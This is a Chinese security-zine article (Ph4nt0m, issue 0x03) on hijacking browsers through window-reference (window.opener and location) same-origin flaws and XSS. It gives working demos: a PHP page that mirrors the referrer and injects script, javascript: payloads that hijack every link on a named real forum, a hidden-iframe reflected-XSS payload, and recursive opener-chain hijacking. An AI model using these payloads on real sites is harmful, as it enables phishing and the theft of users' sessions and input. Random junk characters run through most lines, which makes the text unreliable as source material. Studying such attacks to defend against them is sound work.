==Ph4nt0m Security Team==
5 ^- T9 z: }2 r$ E7 j! }6 B
) v' @8 J0 ?, T0 Q5 W0 O% K Issue 0x03, Phile #0x05 of 0x07- N& @% w2 m& F# v
* Z2 ?; D( f( J) N
5 ~% I( q3 x* [8 f7 F l
|=---------------------------------------------------------------------------=|
- f( [3 v V5 y: `5 k8 W7 c|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=| R0 |$ n; j3 ?2 {9 V; f T
|=---------------------------------------------------------------------------=|$ v3 a' [( P- d U/ W+ H
|=---------------------------------------------------------------------------=|) q: ?8 ~ I7 E3 h: ?- j
|=------------------------=[ By rayh4c ]=---------------------------=|& D3 W6 h# h3 g2 T' u) l
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|# f; r- y$ X! T- m o
|=---------------------------------------------------------------------------=|
5 i, _+ E% k4 _& s0 f) f9 H3 y7 H
$ h( {; o7 M/ C+ w$ U2 [[目录]! V$ k, G! V. j) v) l9 O- G
" h: Z* n `! C0 G1 Q1. 前言( p% B' ~# X1 ]% d7 P
2. 同源策略简叙0 C$ r2 ?2 V2 X/ K6 ]
3. 理解window对象的同源策略
2 G5 s" [3 G" C6 n" F4. 窗口引用功能中的同源策略漏洞
, x' Q3 e) e9 L+ q( F& t- J9 ` 4.1 父窗口引用子窗口的同源策略问题/ ]5 p; V* e A9 v8 C, J4 @1 {: i
4.2 子窗口引用父窗口的同源策略问题' l" n/ e) [) y) {
5. 利用窗口引用漏洞劫持浏览器9 Q3 y* O' p" N, J
6. 利用XSS漏洞劫持浏览器8 [. E, F& E# V9 j$ b3 r8 U+ N
6.1 正向跨窗口劫持
1 F) t4 z6 l, ^7 H4 t2 L; u 6.2 反向跨窗口劫持
: u l3 ^# \/ ~# h/ ~ 6.3 极度危险的跨框架窗口引用劫持
2 A, K- \+ T5 ?( o2 N: x& q 6.4 极度危险的正反向跨窗口递归劫持6 L, o; b* U7 M I' b; r$ O" f+ H
6.5 完全控制浏览器
: c# _! I5 x% c' y8 X0 M& [9 |7. 后记
& b" v2 V+ \; p2 j8 E6 h8. 参考
4 g4 {6 T% d6 f$ e; z# b( G' r8 Z+ o
% F( ? U7 ?3 Z7 h
一、前言2 B3 U, y; a% U' _ a0 E
. K0 B. n( w3 C v" {$ `
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋6 d1 r$ G7 i" o# f( I3 t
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
$ M6 s8 k9 x9 L5 W `劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被' X. {) E1 u( M/ l: l, f
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
3 ~& d7 e; C% Q# c0 c, `0 X& e0 O7 |1 J: a4 u* U
2 i% Y N1 b. @( g1 d
二、同源策略简叙% Y1 R# t& D0 ?9 v; V3 o5 E
( @2 F0 U7 R) z: @$ B# W o3 d 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
( D; Y3 f4 w) ~; _9 p从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
/ u+ o& e8 L# U z7 l曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
0 h, }: M3 b9 |. E$ y9 R4 O马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
- D# L _7 b) e* T- `. q. ~漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。+ X* u% j/ X( n- E
& o9 J; q& J* u+ {
) p: C1 h& ~1 M0 k三、理解window对象的同源策略
# N' \3 p9 u$ O F% P% F
6 U0 T$ k0 f3 \' |) m: x0 B l 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对4 `( D6 u" O+ C9 E
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
8 ?# d. z* E# {5 i2 \8 X: s' `# X" N$ p
--code-------------------------------------------------------------------------
- i2 i$ O2 U0 h$ g0 ]" J<script language="javascript">
& C- u3 a- n( y+ _8 W! L7 Pfor(p in window) document.write(p+"<br>");
7 [8 ~- o9 q) ]6 O* J</script>
* U% a! |$ Z1 Y2 Y-------------------------------------------------------------------------------1 v% l# I" X8 ?) ]" p2 S% G
) f. E1 U, ] Q9 h+ P/ J$ D0 p4 J
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方4 R9 B2 Z" D' O" |: g, F
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,& U1 h: Y) }. u' d" g$ l/ I8 d
这些属性和方法就必须遵循同源策略。) M0 w) z0 O) G; I8 b
m* s6 B k7 H$ L( U/ i9 z1 u1 L, B 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
9 B: I1 `/ k, P& o/ l. ^么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
& ~. p/ _* ^7 {+ Y的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
" R4 T& ]9 [: C2 ]4 g8 k个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
5 [; ]0 U. X% _2 B" e值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location& S0 J! {1 f' H9 @3 b$ L1 X9 U
属性并没有被拒绝访问。. x8 k0 l' g1 z. y0 C
( O4 Q3 z: H1 \& k6 a--demo.html--------------------------------------------------------------------% V$ j2 O6 `) K! m# x' t6 t
<script language="javascript"> " ~% E: T/ G* E7 }
function allPrpos(obj) { 9 A8 l4 J0 y4 S( b
var props = "<table><tr><td>名称</td><td>值</td>";
% D% k E8 u* C5 c# N for(var p in obj){
& B, [5 s1 l& C: ?8 L( `& b8 F if(typeof(obj[p])=="function"){ & e4 d! y0 h* y# j: }0 E2 k5 R
obj[p](); % r2 b6 T+ v: a& b" E5 D# P F% I6 x
}else{ : v3 I* {$ S) @9 q" K+ {6 G
try
* o% m' {8 A7 n. q' T {
2 U6 G5 I2 M) m5 K, i8 ?8 J props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; $ c4 f' w5 p: D
} ; Z; V& a, J5 b( v; _+ |+ [- p3 Y# O3 P
catch (ex) ( l" r" [7 a' z& v4 @7 E' _
{
+ j& B& J) i7 l# X, k + F2 j1 A. M5 G s9 z0 N
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 3 g, \) u( d% D9 `
} $ @/ |1 i' E- f
, L( T& l6 w3 b# v# f9 s6 s: C: G
}
: ]8 a! N8 h0 Z: w" S1 h }
) d n! A/ j! H' U& }$ N5 E
* m( G2 P* Z( F+ U" [- b! n1 _ document.write(props+"</table>");
) N8 l, G V6 r1 R}
7 }$ F% _0 S. _1 B , m# Q+ _/ |7 q% K5 F4 `
function createWin() {
! V" S# v/ [0 Z% b* k% V newWin = window.open ("http://www.google.com"); . h9 ]" f+ i! O$ a" s. L
setTimeout(function(){allPrpos(newWin)},2000); " }) N$ r$ S0 Y
} ; j7 t( z4 L0 ~; @/ F
8 \( b* z2 P ], m/ b</script>
/ u# m; |$ P4 u, D3 d F
& Q; G# o3 m6 m. V2 K1 A' F<button onclick='createWin()'>创建一个非同源子窗口测试</button>
# |3 ~# I$ H; T- j# x$ Y: ~-------------------------------------------------------------------------------
) V+ C; h F. D* Q0 p) i8 B9 s z ]' J
/ z) `' c* j6 ?% s四、窗口引用功能中的同源策略漏洞
. f1 P0 U/ r3 R. ^- H* i5 f- O O% A7 C9 q4 Z6 F8 ]) D. D. n+ X& z$ B1 j
4.1 父窗口引用子窗口的同源策略问题
c9 x9 s2 z) b2 }8 u" t- m: D5 O H/ X ?2 l, A! c
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,5 R: e, _) n1 A0 F, q0 a6 V7 z
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
3 }, G3 ^. a& ]浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进! |0 t- o7 r1 b& x4 W( I
行测试,会发现父窗口可以控制非同源子窗口location属性值。! \+ ?3 ]/ H4 a+ m- Z Z
1 |/ h7 Z% e- Z2 K( G+ [--vul1.html--------------------------------------------------------------------5 z; ?9 G' i6 z( m5 w: t/ W" M3 |
<script language="javascript"> 4 @6 q& E: h5 J
function createWin() {
* E! s5 o2 Z6 c, A( J- G6 X newWin = window.open ("http://www.google.com");
$ l" I# C5 U) r( h7 d; A& N setTimeout(function(){newWin.location="http://www.80sec.com"},2000); , X/ y; g2 E3 ?) \: t5 X. ~+ B
} 8 \% V6 n9 x+ r% ~
</script>7 g: |6 [1 Y' w) ~$ o: U
8 @& h5 a" b0 X, }. [: k# M: E<button onclick='createWin()'>创建一个非同源子窗口测试</button>
; v+ Q; v6 i0 W, U) L" G-------------------------------------------------------------------------------
! y& g' g5 V' V. \/ l: r+ D* a; M5 l+ l: n# E# h8 O5 F: a, X& |, f
; i( n4 C* y2 Z4 t4 C3 V/ j; v S4.2 子窗口引用父窗口的同源策略问题0 T( j+ U* B* d
% y: w2 @( C: f' n0 _( e; i( i 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
7 e% D0 Z2 O$ z5 K" d) c- L/ I用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们+ A, J* z$ V' [) l
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定* v0 F, \0 x" w8 C; w
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
+ q ^1 \' u: ^0 f1 ]. I% G1 ]) n+ I6 m1 z$ t3 L
--code-------------------------------------------------------------------------3 a# S) u, I9 a9 q( b0 |/ x
+ K) y) G3 ~) w0 Z9 u) ujavascript:window.opener.location = "http://www.80sec.com";void(0);
: H0 F# P4 t0 U* o2 @* H; F4 m0 N; U, H' P: t9 L
-------------------------------------------------------------------------------- K! @# U' J2 @5 A
/ {' K7 ]: ?# a8 @+ X
7 W( C8 D0 w! E5 ~8 N五、利用窗口引用漏洞劫持浏览器
6 d) @8 Z* x( b9 h0 Y$ v5 h4 b: v
5 Z. X: T( d& w' E! T5 e 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子. G |/ n+ D4 v
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
% d* m, |0 O" t' I+ `- |$ G4 u么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。' P d3 p5 x1 _' C$ x4 \
% P% u5 ~1 L! k6 O) F 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
& S! e' P2 E9 e4 P7 P生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
& ?* s; j2 B- ]$ |. u3 z者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接7 L- V0 y% q3 T+ @
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下/ Z5 b! h* f4 h1 N9 P) T" M. S. B
会产生什么可怕的后果。
. f# d7 y; n* f4 q1 {: L, s% X0 h! U
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
, g q2 P' m8 f$ ?8 e M们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php' z. H9 t7 _# r/ ~# x
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
0 O* m" s8 w1 |% b候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
0 ?, A3 \( J! d" C6 w1 \) g' p以做更多的事情,所有的一切仅仅是因为点击了一个链接。
9 O9 T% X9 v$ f) K
7 K4 P; j3 ^. x8 L, w4 Q: s# o) M--hjk_ref.php------------------------------------------------------------------
* j, _9 X# [( E+ Y8 j; S2 L: G<?php9 h1 i2 |* o& D S( t: x4 g
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
* S7 P2 [8 |' e4 K- ~$Url_Mirror = $_SERVER["HTTP_REFERER"];
/ D' p# B! f: C} 8 I1 e7 K$ _1 O/ M f; Z! n
if(isset ($_GET['ref'])) {
H& u' h" u6 n9 Vecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';6 J2 C1 w, h' v6 m- w+ B4 @
}
5 {1 {2 B% ` h9 H7 i. e, [?>
. }/ q, A" P" [3 u4 S7 ~" g# ~! \; a5 a7 p9 ?2 M/ ] V
<script language="javascript">/ ]/ |9 ]: f9 i0 v
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); , T7 M% r; z0 ]# W3 O
</script>5 D4 W f' K2 [7 O' I: L
-------------------------------------------------------------------------------
5 L% F, ~* s! C: B; l
% X2 D T. H0 U% a {3 K! U 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
8 z+ i7 h! e' f$ Z" _% `
: Q: ~5 Z2 W2 a3 T& @9 U5 {
& p; X7 j0 m# B六、利用XSS漏洞劫持浏览器
. u5 ?% ~8 A6 g- {* e6 k7 Z' f6 l S" L1 s3 q/ j
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
5 Y7 L/ X; A- i& D5 ^+ ^6 ~( J持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后# y) V) z; u7 _9 b$ n
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起& h6 J: m# [# O7 v
讨论跨站师的终极技巧:+ q" U( I4 f. E) Q8 U, Y% O
# p5 {; H4 G: u1 @
& F) F7 B- @+ r6 m4 k6.1 正向跨窗口劫持
# b4 f& u: K+ _7 P& h7 @
3 `) o$ P: D+ ?1 a 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛- i( f* l! S9 N0 p0 X
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链2 v0 D& \5 I! m0 l- e, i! r
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
" g. W h% L2 X( O框脚本。 ' c# z' n/ _# T6 i
N/ r% n( C8 Z' ?. U+ j# j- ^$ }--hijack_open.js---------------------------------------------------------------1 r# l9 _# T" ]) N4 Q, W5 i! u: c
) s0 c9 u6 F4 u" l% F) U5 G y1 `javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
! `0 K% H5 ^* V6 b3 k8 N5 e9 d
9 B( t2 B1 C; e6 ^7 P3 R5 w4 `) j-------------------------------------------------------------------------------
! t: `# R# M8 x9 B3 \0 Z
3 Y6 A: a, Q7 u: g$ @. h9 ]! x6 {/ w3 V) ?& `* W
6.2 反向跨窗口劫持
) R) o- g: [- B. f! y/ o; G% L
4 } ^( P* H# L& T7 c 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
2 \) ?$ L. J4 e码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话0 V; M, u7 S" `8 n
框脚本。
! i8 a+ M9 Y1 R) h, P) p/ J7 L6 Z2 ]6 _
--hijack_opener.js-------------------------------------------------------------. h# A- P5 n- i
. p: X0 Q7 P6 g4 d. j9 I
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);" t5 o+ ^( [1 S/ R/ V' R' V1 W
# z$ x1 i" U) k3 f$ B
-------------------------------------------------------------------------------
0 F9 A1 ?! J6 B) r$ t/ X
+ q+ D. V, e$ G. l: ?
9 o. P& F! D2 D5 t6.3 极度危险的跨框架窗口引用劫持
( F7 n+ p* H7 b6 c6 N2 i/ I: b9 p: j( }7 m& y% L
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
3 X9 m L# }' E L' ?, ^) x1 y可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
5 Q4 o8 ~& r/ I适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个+ \& r& {, x! b1 M* r1 J- t
非持久型的XSS,如下:( {; p3 e0 u" K. i% H
9 B7 l1 v: T, z<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
6 g; H4 Q9 r! f. A2 W+ ~8 W6 u5 z% E* Z1 @8 e' T/ R
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口3 K6 a6 o {1 X1 c! \
注入脚本。/ r+ ?# D6 ^4 V2 O+ W9 b! d2 w
/ T( c7 E: t1 o% U, |, r' t--hijack_frame_opener.js-------------------------------------------------------& i8 {0 R4 H( y, f/ W8 ]
<script>9 k; ?8 r0 P( `- F W1 v+ l% `7 l
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";$ N& G F3 V: T/ f) L" D
</script>* {3 k" n) l9 K
-------------------------------------------------------------------------------: g( T/ q) e/ K1 y2 _+ F7 r) K/ d
& k0 I% Z3 b3 A# W* y
" Z- Z% N6 m) U u* K6.4 极度危险的正反向跨窗口递归劫持
! d% ?- s9 Y5 H' S& S. R. ~0 D% E
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window7 T" W0 P5 N8 o2 E
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过7 \) S! S& I8 g: A2 V& q& }9 ]
异常处理规避之间跨域页面的访问异常,代码如下:
! S; J: h, a6 H ^; _' I$ Q, C/ A2 |- p6 ] y5 @
--code-------------------------------------------------------------------------7 y' `: h+ D' q3 y- ?
3 }" V$ m, ?. i( Zjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
- b- ~% ^& M' u1 f/ W! r4 P; e# y+ l4 ^9 C8 g
-------------------------------------------------------------------------------8 P% [6 o) O: a2 e
" V- ~: a9 P7 |2 z
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
! A- o5 {9 s$ N以劫持B域之前的A域页面,从而实现“隔空打击”。5 T; o j o8 I0 d2 e9 \
m1 g1 c6 V) o$ w v 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面; @9 J! b% @; M# {- b. L
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
. ]( ]" G7 G/ w$ E- t# I
5 ?( M3 m* b# I5 I* i( Q6 o7 g. ] 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。1 v" }3 h: r2 V d% [' k: A
" s! F% P' E' Y* V6 n! r( }; k) V" A
6.5 完全控制浏览器
, w+ M: Y& {: O/ I- G9 U# \. m' Z2 H) E. u7 W7 b
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则+ Q5 o% c$ k- u& e& z
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS; N8 {6 m7 [" f3 I- g) x$ Z9 P/ T
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失* v6 S9 T5 }9 ] ~2 C
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
; R D, q2 u: H/ U2 t5 D. N8 R列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站( \" k8 O2 l% ?7 X
师的终极目标 - 完全控制浏览器。
0 \+ [; z' [+ |6 k+ u
7 p* H* e8 O- T: X5 l' l# E7 _3 s) h! L& ^% E
七、后记% X9 R8 F2 }) M2 m2 S* d+ o9 \) x
. B2 m( H4 w. x$ ^. V, B n
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全0 l7 }( [3 _' R+ L0 B
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
! i. \+ h6 E3 f' q过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。/ n7 F- i- s. `4 z: H
Y4 M( v) D4 |( y9 S
9 T; G L% T$ X; \4 l八、参考
( R9 ^7 x8 P, |: z% J H( b
. f! W% N$ G" T1. http://en.wikipedia.org/wiki/Same_origin_policy. ]/ E' q& c$ W2 r- O9 X( e
2. http://code.google.com/p/browser ... licy_for_DOM_access1 L+ t z% y' m/ Q
3. http://www.w3.org/TR/Window/0 e4 O( A; h7 @4 ~. D# O r4 |
4. http://www.80sec.com/release/browser-hijacking.txt6 J" g( ~; M% n
5. http://www.80sec.com/all-browser-security-alert.html
; u5 ]* Q0 A& K( j/ f6. http://www.80sec.com/ms08-058-attacks-google.html
% ]6 o1 a' M/ p! A; `2 g
1 _3 x, b9 [4 y7 U% O. V-EOF- |